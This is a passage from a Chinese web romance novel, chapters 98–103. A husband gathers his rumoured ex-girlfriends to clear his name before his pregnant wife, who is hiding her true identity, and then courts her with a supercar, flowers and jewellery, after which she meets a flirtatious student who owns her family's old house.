他深吸一口气,继续道,“一个女孩子,在那种情况下,能有多少选择?她付出的真心和努力,不应该因为遇人不淑就被全盘否定。现在仔细想想,她不是蠢,她是……太傻了,傻得让人心疼,到最后搭上了自己的性命……这根本不是她的错,是周时越那个人渣不配!” 他刻意加重了对周时越的谴责,语气里带着真实的鄙夷和愤怒。 几秒钟后,被子终于动了。 岑予衿慢慢地从被子里探出头来,头发有些凌乱,眼眶微微泛红,不知道是闷的还是委屈的。 第98章 陆京洲的前女友们 “你真的是这么想的。” “当然了。” 岑予衿眼眶更红了,瘪着嘴,声音委屈,“那现在你喜欢她了吗?” 陆京洲把头摇的跟拨浪鼓似的,“我不喜欢她,我只喜欢你。” 岑予衿:“……” 她这话说的,也不太对,但是要直接跟他说自己是岑予衿吗? 他对岑予衿这个身份本来就抵触,要是他对她曾经毫无保留的喜欢过一个人,膈应呢? 她不仅毫无保留的喜欢过一个人,甚至还结过一次婚…… 陆京洲喜欢的只是他的老婆,周家二小姐周芙笙。 不是嫁过一次人,已经落没的岑家大小姐岑予衿。 “那如果我和她一样,像你评价的那么蠢,做过很多很多傻事,你还会喜欢我吗?” 陆京洲笑着揉了揉她的脑袋,“我老婆才没有那么蠢,她是她,你是你,不能混为一谈。” “我只是说如果……”岑予衿垂下眸子,心脏怦怦狂跳。 她没看陆京洲,视线落在那碗冒着热气的鸡丝粥上,“好了,不聊这个话题了,陆京洲,我饿了。” “哦哦,好的。”陆京洲心里一紧,连忙端起碗,用勺子轻轻搅动,舀起一勺,小心地吹了吹,递到她唇边。 “来,笙笙,快尝尝,我熬了很久,米都熬开花了。”他声音温柔得能滴出水来。 岑予衿垂眸,看着眼前这勺熬得恰到好处的粥,米粒软烂,鸡丝纤细,香气丝丝缕缕钻入鼻腔。 她迟疑了一下,还是微微张开了嘴。 温热的粥滑入口中,味道确实很好,陆京洲火候掌握得极佳。 她饿了的肠胃被这口暖粥熨帖着,舒服了些许。 陆京洲见她肯吃,眼底瞬间亮起光芒,更加耐心地一勺一勺喂她。 整个过程,岑予衿没有说话,只是机械地吞咽着,但紧绷的侧脸线条似乎柔和了一点点。 陆京洲还会给她喂点小菜,就着小菜一块吃,一碗粥很快见了底。 陆京洲放下碗,又拿起旁边的苹果热橙茶,“喝点这个,暖暖的,会舒服一点,对缓解孕反也有一定作用。” 岑予衿看了一眼他手里的杯子,“这是什么?” “里面有苹果,橙子,红枣,还放了一点点老冰糖,酸酸甜甜的,试试?” 他上网查的,很多人都说有用。 煮好之后也不敢直接给她喝,万一味道不好,又怕她吐了,自己先尝了一小杯。 味道还是可以的。 岑予衿看着他手里那杯飘着淡淡果香的茶,犹豫了一下,还是接了过来。 杯壁传来的温度恰到好处,不烫手,只是温温地暖着掌心。 她低头小心地啜了一口。 温热的液体滑过舌尖,果然是酸酸甜甜的味道。 苹果的清香和橙子的微酸融合得很好,红枣带来一丝甜,冰糖的用量也恰到好处,没有过分甜腻。 很清爽,很好喝。 她又喝了几口。 陆京洲一直紧张地观察着她的表情,见她眉头舒展,没有排斥的意思,这才暗暗松了口气,眼底漾开温柔的笑意,“怎么样?还能接受吗?” “嗯。”岑予衿低低应了一声,双手捧着杯子,小口小口地喝着。 热茶氤氲的水汽模糊了她低垂的眼睫,让人看不清她此刻的真实情绪。 一杯热橙茶也慢慢见底,身体的暖意驱散了些许寒意。 她将空杯子递还给陆京洲, 陆京洲立刻接了过来。 岑予衿掀开被子,作势要下床。 陆京洲立刻放下杯子,眼疾手快地蹲下身,拿起床边那双毛茸茸的兔子拖鞋,小心翼翼地握住她白皙的脚踝,轻柔地帮她穿上。 穿好拖鞋,他站起身,朝她伸出手,眼神带着一丝不易察觉的紧张和期待,“笙笙,楼下……我准备了一点东西,想给你看看,就当……散散心,好吗?” 岑予衿抬眼看他,那双深邃的眼眸里盛满了讨好和忐忑,还有一丝破釜沉舟的决心。 她心里莫名一动,猜不透他到底想干什么。 犹豫片刻,她还是将自己的手放入了他的掌心。 陆京洲立刻收紧手掌,牵着她,一步步慢慢走下楼梯。 当客厅的全貌逐渐映入眼帘时,岑予衿的脚步猛地顿住了,瞳孔微微收缩。 宽敞的客厅里,安安静静地站着二三十个年轻貌美的女人,高矮胖瘦,类型各异,有打扮的,很精致的,也有头发乱糟糟穿着睡衣的。 她们齐刷刷地看向楼梯口的两人,眼神复杂,有好奇,有尴尬,也有几分不自在。 岑予衿的目光缓缓扫过这群陌生的面孔。 最初是疑惑,随即,一些模糊的记忆碎片和财经娱乐新闻上的照片重合起来…… 这些……似乎都是这些年或多或少和陆京洲传过绯闻的“前女友”们?! 她下意识地想要抽回手,陆京洲这是要干什么。 把这么多人叫来檀月山庄膈应她? “我不想散步了,我要睡觉。” 陆京洲握得更紧了一些,“老婆,你别误会,给我2分钟,我能解释清楚。” 陆京洲转头看向客厅里那群神色各异的女人,语气瞬间冷了下来,没了对岑予衿的讨好,只剩公事公办的疏离,“各位,今天请你们来,目的很简单——澄清一下。” 他抬眼扫过众人,目光锐利如刀,“这些年,媒体捕风捉影写的绯闻,说你们是我的前女友、暧昧对象,今天当着我老婆的面,把话说清楚。” 他话音未落,那群原本安静站着的女人中,一个穿着香奈儿套裙、妆容精致的女人率先开了口,语气带着几分无奈,“陆太太,您千万别误会。我和陆少就是半年前在一个商业酒会上碰巧站在一起说了两句话,被狗仔拍到,看图编故事。陆少那边当时就发了律师函,我跟我的团队也立刻澄清了,真的什么都没有。” 她的话像是打开了某个开关,其他女人也纷纷附和。 一个穿着居家睡衣,头发还随意挽着的女孩显得有些局促,“我、我就是陆氏公司旗下游戏的一个小主播……上次平台盛典,陆少作为公司代表给我们颁了个奖,握手的时候被拍了特写,就、就传出我被包养了……天地良心,那是我第一次也是唯一一次见陆少本人!律师函都送到我们公会了。” “是啊陆太太,我和陆总传绯闻那次更离谱,就因为我们在同一个健身房办了卡,偶尔碰到过几次,狗仔就说我们秘密约会,其实陆少连我全名叫什么可能都不知道……” “还有我那次……” 七嘴八舌的解释在客厅里响起,内容大同小异。 无非是偶然的同框、被刻意解读的正常社交、或者是媒体毫无根据的捏造。 每个人的说辞里,都提到了一个共同点——律师函。 陆京洲趁着间隙,赶紧看向岑予衿,眼神认真无比,“笙笙,你都听到了。这些,还有没到场但传过谣的,所有乱写的媒体,当时能告的都告了,也都发了律师函。 只是那时候……我没太把这些当回事,觉得清者自清,反正我名声本来就那样,解释了也没人在意,所以有些澄清可能没那么及时有力,让谣言传开了。” 他顿了顿,声音低沉下去,带着懊悔,“但现在不一样了,我有你了。我不能让你心里有一丁点疙瘩。所以我把她们都请来,让她们亲口告诉你,我和她们之间,什么都没有,从来都没有。” “我真的干干净净,清清白白,酒店那次是我第一次,是你把我吃干抹……” 岑予衿耳根一下子就红了,一把捂住了他的嘴,“少说两句!” 怪不得她觉得那晚的他毫无技巧可言! 第99章 独属于陆京洲的浪漫 陆京洲被她温软的手心捂着,剩下的话咽了回去,眼底漾开得逞的笑意,顺势在她掌心轻轻啄了一下。 岑予衿像被烫到一般猛地缩回手,脸颊绯红,瞪了他一眼。 原来……酒店那次,真的是他的第一次。 这个认知像一颗投入湖面的石子,在她心里漾开一圈圈复杂的涟漪。 有些惊讶,有些难以置信,但更多的,是一种难以言喻的悸动和……一丝隐秘的欢喜。 她有严重的情感洁癖,可从没想过,自己觉得玩的最花的陆京洲居然是这样的人。 他干干净净的把第一次毫无保留地给了周芙笙。 客厅里的一众“前女友们”见状,神色各异,有尴尬别开眼的,有忍不住偷笑的。 原来传闻中桀骜不驯的二世组陆京洲,在老婆面前是这副模样。 “那个……陆少,陆太太,如果没什么事,我们可以先走了吗?”最初开口的那个香奈儿套装女人试探着问道。 陆京洲看向岑予衿,眼神询问。 岑予衿被这么多人看着,只觉得浑身不自在,轻轻点了点头。 陆京洲这才朝助理使了个眼色。 助理立刻会意,上前一步,礼貌地对众人说道,“感谢各位今天的配合,陆总备了一份薄礼,已经送到各位车上,后续若再有相关不实言论流传,还希望各位能如同今日一样,协助澄清。” 她们纷纷点头应下,在佣人的引导下,安静迅速地离开了檀月山庄。 陆京洲看着她绯红的脸颊,知道她是听进去了,心里那块大石头总算落了下去。 他趁机再次握紧她的手,指腹在她手背上轻轻摩挲着,带着点撒娇的味道。 “现在信我了吗,老婆?”他声音压低,带着磁性的沙哑,只有他们两人能听清,“我陆京洲从小到大,就没对哪个女人动过心思,除了你。以前没有,以后更不会有。” 岑予衿垂下眼睫,长长的睫毛像蝶翼般轻颤,没有立刻回答。 她信了吗? 事实摆在眼前,由不得她不信。 那些“前女友”们的澄清,还有他急于自证清白甚至不惜自曝其短的样子,都做不得假。 可是……信了眼前这个“干干净净”的陆京洲,就意味着她必须面对另一个更沉重的问题。 她要如何向他坦白,她就是岑予衿,他口中那个蠢死的女人。 她那么愚蠢地,飞蛾扑火般地爱过周时越,有过一段失败到极点的婚姻。 陆京洲做的这些事情她看在眼里,也许利用中也掺杂着一点真心。 要不然也不会怕她膈应大动干戈,请这么多人过来和她解释。 不会亲手给她熬粥,煮水果茶,无微不至的照顾她。 可她不敢交心。 除了她亲耳听到他说娶她只是为了檀月山庄。 最重要的是害怕陆京洲会嫌弃她的身份,痛恨她的欺骗,厌恶岑予衿这个人。 她不知道自己该怎么办…… 脑子已经乱成一锅粥了。 她该怎么开口,怎么解释! 要光明正大的告诉他,还是主动跟他道歉承认错误? 她不知道! 陆京洲看着她垂眸不语的模样,指尖轻轻捏了捏她的掌心,语气软了下来,“是不是还在生气?” 他忽然想起什么,眼底闪过一丝懊恼,“都怪周时越那个混蛋,还有林舒薇,好好的约会被他们搅黄了,这还是我们俩第一次约会呢。” 提到周时越,他语气里多了几分狠戾,“这笔账我记下了,以后迟早让他们加倍还回来。” 话锋一转,他又换上讨好的笑容,牵着她往门口走,“不过没关系,约会可以补,惊喜也没迟到。笙笙,跟我来。” 岑予衿被他拉着走出客厅,晚风带着一丝凉意,却被他掌心的温度驱散。 刚走到院子里,她的脚步就顿住了,瞳孔猛地收缩。 月光下,一辆粉色超跑静静停在草坪中央,车身贴满了细碎的水钻,在夜色中折射出blingbling的光芒,晃得人睁不开眼。 车头正中央,绑着一个巨大的白色蝴蝶结,蓬松又可爱,和超跑的凌厉线条形成一种奇妙的反差萌。 岑予衿僵在原地,指尖下意识攥紧了陆京洲的手,震惊得连呼吸都慢了半拍。 他什么时候准备的这些东西? 这车……好漂亮,她从没有见过这么漂亮的车。 陆京洲揽着她的肩膀走近,“媳妇儿,走近一点看看喜不喜欢?” 岑予衿完全不知道自己该作何反应,按照他说的走近。 车门缓缓向上打开,如同蝴蝶展翅,露出了车内更为震撼的景象,驾驶座和副驾驶座上,密密麻麻、满满当当地塞满了爱莎玫瑰! 浓郁的花香瞬间扑面而来,几乎要将人淹没。 而在这片玫瑰的中央,是一束显眼的芍药花束。 芍药的花语是情有所钟,于千万人之中,我独爱你。 陆京洲松开揽着她的手,俯身,小心翼翼地从那片爱莎玫瑰的海洋中,取出了那束独立包装的芍药。 他转过身,重新面对她,将那一大束柔粉与白色交织的芍药花递到她面前。 月光与庭院柔和的灯光落在他身上,为他镀上了一层不真实的光晕,连带着他此刻郑重无比的神情,都显得格外动人。 “笙笙,”他开口,声音比刚才更加低沉,带着一种前所未有的认真,甚至能听出一丝紧张的微哑,“我知道,我们开始得……很荒唐。没有追求,没有正式的告白,甚至没有一个像样的开始,你就成了我的妻子,还怀了宝宝。” “我这个人,以前名声不好,吊儿郎当,可能在你心里,也不是什么靠谱的人。但我今天做的这一切,不是想洗白什么,也不是单纯为了哄你开心。” 他深吸一口气,目光灼灼地锁住她有些怔忪的眼眸,“我只是想告诉你,周芙笙,从今天起,我想正式地追求你。” “别人有的,我的笙笙必须有。别人没有的,只要我能给,我也要捧到你面前。” “这束花,是开始,不是结束。” 他捧着花束的手稳稳当当,眼神里是毫不掩饰的炽热和决心,“我知道你可能一时半会儿没法完全相信我,没关系,我们有的是时间。你可以慢慢看,慢慢考察。我会用行动证明,我陆京洲说的每一个字,都是真的。” 岑予衿呆呆地看着他,看着他手中那束象征着“情有独钟”的芍药,看着他身后那辆梦幻得不真实的跑车,再对上他那双此刻盛满了星光与真诚的眼睛。 她的心脏,像是被什么东西狠狠撞了一下,酸酸麻麻的感觉瞬间传遍四肢百骸。 她和周时越的那段感情,开始于青梅竹马的水到渠成,平淡得像一杯温开水。 周时越性格温润,讲究细水长流,他们之间从未有过如此直白、如此热烈、甚至带着点笨拙却无比用心的仪式感。 这是第一次。 第一次有人为她如此大动干戈,第一次有人郑重其事地,将她捧在掌心,告诉她,她要拥有最好的一切。 这种被毫无保留地、热烈地珍视着的感觉,像一股汹涌的暖流,冲垮了她心防的堤坝。 眼眶不受控制地再次湿润,视线变得模糊。 她看着那束花,又看向陆京洲,张了张嘴,却发现自己喉咙哽咽,发不出任何声音。 第100章 陆京洲我能相信你吗? 陆京洲看着她泛红的眼圈和微微颤抖的唇瓣,心尖都揪紧了。 他保持着递花的姿势,声音放得更柔,带着诱哄,“笙笙,喜欢吗?不喜欢的话,我明天再换别的,每天都送,送到你喜欢为止。” 岑予衿用力眨了眨眼睛,逼回眼底的湿意。 她缓缓抬起有些发颤的手,小心翼翼地,接过了那束沉甸甸的芍药。 花瓣柔软娇嫩,带着夜露的微凉和馥郁的香气,抱在怀里,有一种不真实的感觉。 她低下头,将半张脸埋进芬芳的花束里,借此掩饰自己失控的情绪,只露出一双湿漉漉的眼睛,轻轻地点了点头。 声音细若蚊呐,却清晰地钻入了陆京洲的耳中。 “喜欢。” 非常,非常喜欢。 喜欢到让她害怕,害怕这只是一场梦,害怕梦醒之后,她依旧是那个一无所有,被所有人当成煞星的岑予衿。 陆京洲悬着的心终于落回了实处,巨大的喜悦和满足感像烟花一样在他胸腔里炸开。 他上前一步,将她连人带花拥进怀里,笑得像个得到了全世界的孩子。 岑予衿看着他这副小心翼翼又难掩雀跃的样子,抱着花束,心底那片冰冷的角落,似乎又被融化了一点点。 她将脸更深地埋进花里,闷闷地“嗯”了一声。 就让她,再贪心一点点吧。 哪怕前方是万丈深渊,至少此时此刻,她拥有了这一束独一无二的芍药,和一份她从未体验过的、笨拙而真诚的珍视。 哪怕他只是装的,也没关系。 陆京洲见她,呆呆的看着怀里的花儿,嘴角往上勾了勾。 当着她的面,将那张贺卡缓缓抽出来。 贺卡底下还挂着一条项链。 主钻是一颗切割完美的椭圆形粉钻,色泽温柔纯净,周围以细密的白钻镶嵌成精巧的藤蔓花纹,在月光下流转着璀璨却不刺眼的光芒,与怀中芍药的柔美相得益彰。 岑予衿完全是懵的,脑子一片空白。 “陆京洲……” 陆京洲取下那条项链,“我帮你带上,可以吗?” 岑予衿用力点了点头。 陆京洲边带边碎碎念,“以前都是你精心的给我准备礼物,我还从来没有送过你什么,笙笙,你放心以后我会改变的。” 冰凉的项链贴上肌肤的瞬间,岑予衿轻轻颤了颤。 陆京洲的动作极其小心,指尖偶尔擦过她颈后的皮肤,带起一阵细微的战栗。 他笨拙地扣着搭扣,试了几次才成功,温热的气息拂过她的耳畔,“抱歉,第一次帮你带项链,不太熟悉。” “好了。”他低声说,声音里带着如释重负的轻快。 岑予衿下意识抬手,指尖触碰到那颗垂落在锁骨之间的粉钻。 她刚抬头就发现了,不远处的廊柱旁,不知何时还站了两个人,一个拿着专业相机,一个拿着摄像机,正小心翼翼地记录着这一切。 “陆京洲,你到底准备了多少惊喜?” “你怎么知道的?”陆京洲笑着递上一把车钥匙。 牵着她的手,回到了后备箱的位置。 后备箱缓缓打开…… 这……完全是个礼物仓库。 岑予衿看着那满后备箱、几乎要溢出来的奢华礼盒,每一个都包装得极其精美,在夜色和庭院灯光下闪烁着昂贵而用心的光泽。 她的目光缓缓扫过这些礼物,又落回到陆京洲那张毫不掩饰爱意的脸上。 心脏像是被浸泡在温热的蜜水里,酸涩与甜意交织,翻涌着,几乎要冲破胸膛。 她忽然踮起脚尖,在那双因惊讶而微微睁大的眼睛注视下,仰头,将自己的唇印在了他的唇上。 这是一个带着花香的、轻柔而短暂的吻。 一触即分。 却让陆京洲整个人如同被施了定身咒,僵在原地,只有胸腔里的心脏在疯狂擂鼓,震耳欲聋。 岑予衿没有退开,而是顺势将额头轻轻抵在他的额头上,鼻尖相触,呼吸交融。 她闭着眼,长长的睫毛上还沾着未干的泪意,轻轻颤动。 怀中的芍药花香与他身上清冽的气息混合在一起,萦绕在两人之间。 她的声音很轻,带着一丝不易察觉的颤抖和巨大的勇气,像羽毛一样搔刮过他的心尖,“陆京洲,我可以相信你吗?” 第101章 既是我老婆也是我女朋友 陆京洲听到这话,呼吸都停滞了。 下意识的伸手还住了她的腰,将她搂的极紧,贴向自己,用尽了全身力气才克制住想要将她揉进身体的冲动。 怀中是温香软玉,唇上还残留着那抹转瞬即逝的、带着花香的柔软触感,额间是她轻轻抵靠的温度,鼻息间全是她身上清浅的香气。 “当然!你可以相信我,无条件的相信我,我会是你尽情作的资本。” “我说我喜欢你,想追你,绝不是装模作样,也不是一时兴起。是把我的心,我的人,我的钱,都交到你手里那一种。” 陆京洲的话音落下,夜色仿佛都为之静止。 他滚烫的掌心紧紧贴着她的后背,那温度透过薄薄的衣料,几乎要将她灼伤。 那句“我会是你尽情作的资本”带着一种近乎狂妄的真诚,砸在岑予衿的心上,激起滔天巨浪。 不是轻飘飘的承诺,而是沉甸甸的底气。 岑予衿抵着他的额头,能清晰地感受到他身体的微颤,那是极力克制下的激动,“那今晚这些算是表白?” “嗯!你答应了吗?”陆京洲小心翼翼的问。 岑予衿点了点头,“嗯。” 陆京洲一下子抱起她,连着转了好几个圈圈。 岑予衿看着他孩子气的模样,忍不住拍了拍他的肩膀,“快放我下来,肚子里还有宝宝呢!” 陆京洲像是这会才想起来,赶紧把她放了下来,看着她的粉嫩的唇瓣,一下子就想到了那软软的触感。 他俯身温热的唇辦轻轻覆上她的,这一次不再是刚才那个转瞬即逝的触碰,而是带着明确意图的侵占。 岑予衿微微一证,随即闭上了眼睛。 搭在他肩头的手缓缓上移,轻轻环住了他的脖颈。 这个细微的回应像是一道许可,让陆京洲的吻变得更加深入而缠绵。 陆京洲的手从她的后背缓缓上移,插入她柔软的发丝间,稳稳托住她的后脑,将这个吻加深。 他的动作极尽温柔,却又带着不容置疑的占有欲。 岑予衿生涩却真诚地回应着,感受着他唇齿间的热度,是一种从未体验过的感觉。 陆京洲的声音轻柔,“笙笙,这算是盖章,盖章生效之后,我陆京洲会永远永远对周芙笙好,直到生命的尽头!” 周芙笙三个字,像是一根刺,扎在了她的心上。 可和他解释她是岑予衿,从始至终都没有周芙笙这个人,她又不敢。 她怕触手可及的幸福瞬间破灭。 上一秒在天堂,下一秒在地狱,那种感觉她承受不住。 就算是偷来的幸福,能够多偷一天是一天。 “那现在我们是什么关系?” 陆京洲听着他孩子气的话,思考了一瞬才开口,“在外人面前你是我老婆,只有咱俩的时候,你是我女朋友,你可以站在一个女孩的角度,考察我,看我到底适不适合当你老公。” 岑予衿的指尖蜷缩了一下,温热的掌心贴着他的后颈,感受着他脉搏有力的跳动。 她垂下眼睫,长长的睫毛在眼睑下投出一小片阴影,掩去了眸底一闪而过的酸涩。 “考察期……多久?”她的声音带着一丝不易察觉的颤抖,像怕惊扰了这易碎的梦境。 陆京洲低头,鼻尖蹭了蹭她的额头,气息灼热而温柔,“你说了算。一天也好,一辈子也罢,我都等。” 他抬手,指腹轻轻摩挲着她泛红的唇瓣,眼神专注得仿佛她是世间唯一的珍宝,“只要你在我身边,让我做什么都愿意。” 他的话像温水,缓缓淌过岑予衿紧绷的神经,却也让那份隐藏的秘密变得愈发沉重。 她踮起脚尖,用力的抱着他,像是回应,又像是自我安慰,“那……考察期从今天开始。” 陆京洲眼底瞬间迸发出耀眼的光芒,将她搂得更紧了些,却刻意避开了她的小腹,动作温柔得不像话,“好。上楼吧,太冷了。” 说着,将她打横抱起来,往楼上走。 月光透过走廊尽头的落地窗,毫无保留地倾泻在庭院里。 满钻的粉色超跑在月色下折射出万千璀璨的光芒,见证了一场最盛大的告白。 …… 陆家和岑氏两边破事一大堆。 京耀财团那边已经在接触,不过没有任何消息。 陆京洲每天早出晚归,也不忘了给她做饭,涂妊娠油,带小礼物。 岑氏总裁办,岑予衿看着面前的那一大堆文件,眼睛都花了。 头疼的要命,总裁这工作不是谁都能做的。 岑予衿揉了揉发胀的太阳穴,正午的阳光透过巨大的落地窗,在堆积如山的文件上投下明亮的光斑,却驱不散她眉宇间的疲惫与焦躁。 陆京洲这会在干嘛呢? 办公室门被轻声敲响。 “进。”她头也未抬,指尖仍按压着突突直跳的太阳穴。 进来的是她的秘书小晨,步履轻快,手里端着一杯刚煮好的果茶,轻轻放在桌角,“周总,您要的果茶。” “谢谢。”岑予衿端起杯子,温热透过瓷壁传来,她浅浅啜了一口,试图用香甜的果茶唤醒有些混沌的思绪。 煮的果茶没有陆京洲给她煮的好喝。 有点想陆京洲给她煮的果茶了。 现在就想…… 小晨并未立刻离开,而是往前稍稍凑近了一步,压低了些声音,语气带着一丝不易察觉的谨慎,“周总,还有一件事……我们找到当年买走岑家老宅的那个人了。” “啪嗒。” 岑予衿手中的吸管杯与桌面发出一声清脆的磕碰。 她猛地抬起头,看向小晨,午后的阳光清晰地照出她眼底一闪而过的震惊与复杂情绪。 那栋承载着她太多童年记忆的老宅,一直是父亲和她心头难以释怀的结。 5年前被拍下之后,就一直没有线索。 她迅速垂下眼睫,掩饰住瞬间的失态,放下杯子,声音竭力维持着平静,“资料呢?” 小晨将一份薄薄的文件夹轻轻推到她面前,“已经查到了买主是谁了,20岁,帝都大学大二学生,叫沈思勉,能查到的只有这么多。” 岑予衿翻开文件夹,目光落在那个陌生的名字上,指尖无意识地收紧,在纸张边缘留下细微的褶皱。 “能约到吗?” “约应该是能约到,我已经在接触了,可是他没有出售的打算……” 岑予衿眉头不自觉的皱了起来,“尽量帮我约在今天下午。” 她怕会出现意外。 或者是被别人看上买走。 “好的,周总,我再约一下。” 第102章 我能不能叫你姐姐? 小晨的办事效率极高,不过半小时后便再次敲门进来,脸上带着一丝轻松,“周总,约好了。沈先生今晚刚好有空,他说地方由您定。” 岑予衿心下稍安,立刻吩咐,“定在‘兰亭轩’,要最安静的包间。” 傍晚,华灯初上。 兰亭轩远离闹市,环境清幽雅致。 岑予衿提前下班,比约定时间稍早了半个小时抵达,在服务生的引领下走进包间。 她特意换下了一身职业套装,穿着一条柔和的米白色连衣裙外搭一件奶油白羊绒大衣,领口是个绑带蝴蝶结,减弱了些许商界精英的锐气,多了几分乖巧可爱的味道。 她本来也才24岁,这么穿着跟大学生没什么区别。 是陆京洲给她搭好的,她自己也懒得换。 她刚坐下没多久,包间门被轻轻推开。 一个穿着简单白色卫衣、牛仔裤,肩上随意搭着个帆布包的年轻男孩走了进来。 他看起来清爽又充满活力,脸上带着恰到好处的歉意笑容,牙齿洁白整齐,“不好意思,周总?我没迟到吧?帝都晚高峰有点可怕。” 正是沈思勉。 他本人比岑予衿想象的还要年轻,甚至带着点未被社会打磨过的少年气。 皮肤是健康的小麦色,五官俊朗阳光,眉眼舒展,笑起来时眼尾微微下垂,显得毫无攻击性,却又异常吸引人的目光。 他的帅,是那种充满了生命力和青春感的帅气,像夏日清晨的阳光,明亮却不灼人。 和陆京洲不是一个风格的帅哥。 “没有,是我来早了。沈先生请坐。”岑予衿起身,礼貌地微笑,心中却有些讶异。 沈思勉落落大方地在她对面坐下,好奇地打量了一下周围的环境,语气轻快,“这地方真不错,安静,菜香我在门口就闻到了,看来今天有口福了。” 他的直接和活泼让气氛轻松了不少。岑予衿将菜单递给他,“看看有什么喜欢的,不用客气。” “周总您定就好,我不挑食,啥都吃!”他笑着摆手,眼神干净坦诚。 沈思勉接过菜单随手放在一边,目光落在岑予衿身上,带着毫不掩饰的欣赏,笑容爽朗地感叹,“周总,您跟我想象的完全不一样!我本来以为约我谈事的公司总裁,怎么也得是……嗯,特别严肃那种。结果您这么年轻漂亮,跟仙女儿似的!刚才您站起来,我还以为是哪个学校的校花走错包间了,看起来简直像刚满18岁!” 他语气真诚,带着大学生特有的直白和朝气,让人生不起反感。 岑予衿被他夸得有些不好意思,微微弯了弯唇角,抬手将一缕碎发别到耳后,轻声纠正道,“谢谢夸奖,不过我已经24岁了,不是18岁。” “24岁?”沈思勉惊讶地睁大了眼睛,表情更加生动,“完全看不出来!而且24岁就这么厉害了,自己掌管这么大公司?天呐,这就是传说中的天才少女总裁吗?跟我们这些天天愁论文、愁学分的大学生一比,简直是降维打击!” 他语气夸张,却并不让人感到虚伪,反而透着一股子鲜活有趣的劲儿。 岑予衿被他逗得脸上的笑意真切了几分,连日来的疲惫似乎也驱散了些许。她摇了摇头,“没有那么夸张,只是接手家里的事情而已。” 沈思勉顺势将身子往前倾了倾,手肘撑在桌面上,眼神亮晶晶地望着岑予,“那也很厉害啊!说真的,我特别佩服你这样的人。” 他稍作停顿,指尖在手机边缘轻轻摩挲,语气带着恰到好处的试探,“那个......我能不能叫你姐姐?总觉得叫周总太生分了。” 见岑予衿没有立即反对,他立刻拿出手机,调出二维码界面,“姐姐,加个微信好不好?我保证不会随便打扰你,咱们后续要谈房子的事情,方便一点。” 岑予衿被他这番坦率又自然的姿态打动,加之他提及房子的事确实需要联系,便没有多想,从手包里拿出手机,温声道,“好,那以后就叫姐姐吧。” 她扫了他的二维码,发送了好友申请。 沈思勉的手机几乎是立刻响起了提示音,他看着屏幕上弹出的好友验证通过的通知,嘴角控制不住地向上扬起,露出一口小白牙,飞快地备注好“芙笙姐姐”,这才心满意足地将手机收起来。 服务生开始陆续上菜,精致的菜肴摆满了桌面。 趁着这个间隙,岑予衿端起手边的温水喝了一口,状似不经意地将话题引向正轨,“思勉,其实今天约你,主要是想谈谈你名下的那套房子,就是城西梧桐巷的那套岑家老宅。” 她顿了顿,观察着他的神色,语气温和却带着一丝不易察觉的紧迫,“那套宅子,对我……对我来说,有比较特殊的意义。不知道你有没有意向转让?价格方面,我们可以好好商量。” 沈思勉放下了手里的筷子,认真的看着她,“姐姐,说实话我不缺钱,这套房子目前我没有出手的打算。” 岑予衿刚才还觉得他这个人挺好说话的,现在听他这么说,一下子就反应过来了,想要拿到这套房子,估计还得再费些功夫。 “这套房子的前主人是我嫂子,她一会去世了,唯一的遗憾就是想拿回这套房子,我知道你买的时候价格很高,我愿意在这个基础上,多加500万!或者是……你想要多少,价格你开。” 他夹了一筷子菜,状似随意地问,“原来是这样。那姐姐现在……是单身吗?” 这话问得有些唐突,岑予衿微微一怔,还没来得及回答,沈思勉便自顾自地接着说,“其实这房子对我来说也挺特别的,我非常喜欢。” 他放下筷子,目光灼灼地看向岑予衿,“要不这样,姐姐带我多了解了解京城?我刚转学过来没多久,对这里还不太熟。让我好好考虑考虑,可以吗?” 岑予衿握着水杯的指尖微微收紧。 她听懂了沈思勉的言外之意,这不是一场能用钱解决的交易。 为了老宅,她没有别的选择。 “好。”她抬起眼,唇边重新漾开得体而略显疏离的笑意,“京城有趣的地方不少,既然思勉你初来乍到,我作为东道主,理应尽地主之谊。” 她语气从容,仿佛只是答应一个再普通不过的请求,心里不断盘算着,如何尽快促成老宅的转让。 “那太好了!”沈思勉眼睛一亮,笑容更加灿烂,带着得逞的愉悦,“有姐姐当向导,我一定能很快熟悉这里。” 第103章 你都不知道我小叔受了多大委屈 晚餐在一种看似融洽、实则各怀心思的氛围中结束。 走出兰亭轩,晚风带着初秋的凉意。 沈思勉很自然地走到岑予衿身侧,距离近得几乎能感受到彼此的体温。 “姐姐,刚才吃得太饱了,我们散散步好不好?”他没给岑予衿拒绝的机会,指着不远处一条灯火璀璨的步行街,“听说那边很热闹,我还没去过。” 岑予衿看了眼时间,犹豫片刻,还是点了点头。 步行街上人来人往,沈思勉总是恰到好处地“护”在她身边。 人潮拥挤时,他的手会虚扶在她后背。 看到有趣的东西,他会俯身凑近她耳边兴奋地指给她看,温热的气息不经意拂过她的耳廓。 他的一切靠近都做得自然无比,仿佛只是一个大男孩无心的亲昵,却让岑予衿全程绷着一根弦,不着痕迹地维持着安全距离。 总觉得这个人很奇怪,有点自来熟的感觉。 但又觉得是自己想多了,明明人家也没有什么过分的举动。 应该就是太年轻了,性子比较急。 逛了约莫半小时,岑予衿有点累了,正想提出告辞,沈思勉却抢先一步,揉了揉眼睛,语气带上了些许倦意,“姐姐,我有点累了。” 他眨着眼睛看她,路灯在他眼里洒下细碎的光,显得格外真诚,“而且明天早上还有早课……这里离我们学校不算太远,姐姐你……方便送我一下吗?就当是好人做到底?” 他微微歪着头,带着点恳求的意味,让人很难硬下心肠拒绝。 岑予衿看着他那张青春洋溢的脸,想到那套至关重要的老宅,到嘴边的拒绝终究咽了回去。 “好,走吧。”她握紧手机,语气平静,心里却轻轻叹了口气。 车子平稳地停在帝都大学气派的校门口,暖黄的路灯将周遭映照得一片宁静。 沈思勉解开安全带,却没有立刻下车。他侧过身,眉眼在灯光下显得格外清晰俊朗,带着年轻人特有的干净气息。 “姐姐,谢谢你今晚的款待,还有……送我回来。” 他语气真诚,目光落在岑予衿略显疲惫的侧脸上,话锋自然地一转,“那套老宅,我平时不住,一直空着。你要是真想看,明天下午我刚好没课,可以带你进去看看。” 他抛出这个诱人的提议,观察着她的反应,却在她眼中升起期待的光亮时,狡黠地笑了笑,补充道,“至于要不要卖嘛……我再想想。姐姐,我们明天见?” 说完,他利落地推门下车,隔着降下的车窗,冲她挥了挥手,身影很快融入了校门的阴影之中,留下一个意味不明的约定。 岑予衿看着他那消失在夜色中的背影,微微蹙眉。 这个沈思勉,看似阳光直率,心思却比她预想的要难以捉摸。 他给了她希望,却又没有给出任何承诺。 和这样的人相处可真累啊! 她靠在椅背上,一种莫名的委屈悄然漫上心头。 和陆京洲在一起时,她从来不需要这样费心揣度,时刻警惕。 